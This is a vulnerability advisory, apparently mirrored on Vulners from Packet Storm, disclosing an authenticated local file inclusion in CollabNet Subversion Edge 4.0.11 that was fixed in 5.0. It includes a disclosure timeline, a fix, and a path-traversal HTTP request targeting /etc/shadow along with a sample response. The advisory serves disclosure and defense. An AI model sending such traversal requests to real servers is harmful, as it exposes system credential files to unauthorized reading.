Lucene search
K

CollabNet Subversion Edge Management Show LFI

🗓️ 30 Jun 2015 00:00:00Reported by otrType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Local file inclusion in CollabNet Subversion Edge Management Frontend via "fileName" parameter of the show action, risk medium, fixed in version 5.0

Code
`# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management  
# Frontend via "fileName" parameter of the show action  
#  
# Date: 10.10.2014  
# Author: otr  
# Software Link: https://www.open.collab.net/downloads/svnedge  
# Vendor: CollabNet  
# Version: 4.0.11  
# Tested on: Fedora Linux  
# Type: Local file inclusion  
#  
# Risk: Medium  
# Status: public/fixed  
# Fixed version: 5.0  
  
Timeline:  
  
2014-10-09 Flaw Discovered  
2014-10-20 Vendor contacted  
2014-10-21 Vendor response  
2014-12-08 Vendor fix proposal  
2014-12-08 Extension of embargo to 19.4.2015  
2015-05-04 Extension of embargo until release of version 5.0  
2015-05-18 Release of version 5.0 and public disclosure  
  
Summary:  
  
The CollabNet Subversion Edge Management Frontend allows authenticated admins to  
read arbitrary local files via logfile "fileName" parameter of the show action  
  
Vulnerability:  
  
Request:  
GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1  
Host: example.com:4434  
  
Response:  
HTTP/1.1 200 OK  
[...]  
<div class="span3">../../../../../../etc/passwd</div>  
[...]  
root:x:0:0:root:/root:/bin/bash  
  
Fix proposal:  
  
Remove feature or santizes the fileName parameter so that no path traversals and  
arbitrary file inclusions are possible.  
  
Vendor fix:  
  
[...] now allow only showing hooks/logs within the intended directories.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation